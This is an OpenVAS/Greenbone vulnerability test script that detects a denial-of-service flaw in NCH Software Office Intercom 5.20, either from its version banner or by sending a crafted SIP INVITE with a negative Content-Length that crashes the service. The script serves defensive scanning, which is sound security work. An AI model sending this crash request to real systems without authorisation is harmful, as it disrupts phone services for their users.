NCH Software Office Intercom SIP Invite Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100918");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-11-26 13:31:06 +0100 (Fri, 26 Nov 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("NCH Software Office Intercom SIP Invite Remote Denial of Service Vulnerability");
  script_category(ACT_MIXED_ATTACK);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("sip_detection.nasl", "sip_detection_tcp.nasl");
  script_mandatory_keys("sip/banner/available");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45049");

  script_tag(name:"summary", value:"NCH Software Office Intercom is prone to a remote denial-of-service
  vulnerability because it fails to properly handle specially crafted SIP INVITE requests.");

  script_tag(name:"impact", value:"Exploiting this issue allows remote attackers to cause a denial-of-
  service due to a NULL-pointer dereference. Due to the nature of this issue, remote code execution
  may be possible but this has not been confirmed.");

  script_tag(name:"affected", value:"Office Intercom 5.20 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("version_func.inc");
include("sip.inc");
include("misc_func.inc");
include("port_service_func.inc");

infos = sip_get_port_proto( default_port:"5060", default_proto:"udp" );
port = infos["port"];
proto = infos["proto"];

banner = sip_get_banner( port:port, proto:proto );
if( ! banner || "NCH Software Office Intercom" >!< banner )
  exit( 0 );

if( safe_checks() ) {

  version = eregmatch( pattern:"NCH Software Office Intercom ([0-9.]+)", string:banner );
  if( isnull( version[1] ) )
    exit( 0 );

  if( version_is_less_equal( version:version[1], test_version:"5.20" ) ) {
    report = report_fixed_ver( installed_version:version[1], fixed_version:"None" );
    security_message( port:port, proto:proto, data:report );
    exit( 0 );
  }

  exit( 99 );

} else {

  if( ! sip_alive( port:port, proto:proto ) )
    exit( 0 );

  vt_strings = get_vt_strings();
  from_default = vt_strings["default"];
  from_lower   = vt_strings["lowercase"];

  req = string(
    "INVITE sip:", from_lower, "@", get_host_name(), " SIP/2.0","\r\n",
    "Via: SIP/2.0/", toupper( proto ), " ", this_host(), ":", port, ";branch=z9hG4bKJRnTggvMGl-6233","\r\n",
    "From: ", from_default, " <sip:", from_lower, "@", this_host(),">;tag=f7mXZqgqZy-6233","\r\n",
    "To: ", from_default, " <sip:", from_lower, "@", get_host_name(), ":", port, ">","\r\n",
    "Call-ID: ", rand(), "\r\n",
    "CSeq: 1 INVITE\r\n",
    "Max-Forwards: 70\r\n",
    "Content-Type: application/sdp\r\n",
    "Content-Length: -1");
  sip_send_recv( port:port, data:req, proto:proto );

  if( ! sip_alive( port:port, proto:proto ) ) {
    security_message( port:port, proto:proto );
    exit( 0 );
  }
  exit( 99 );
}

exit( 0 );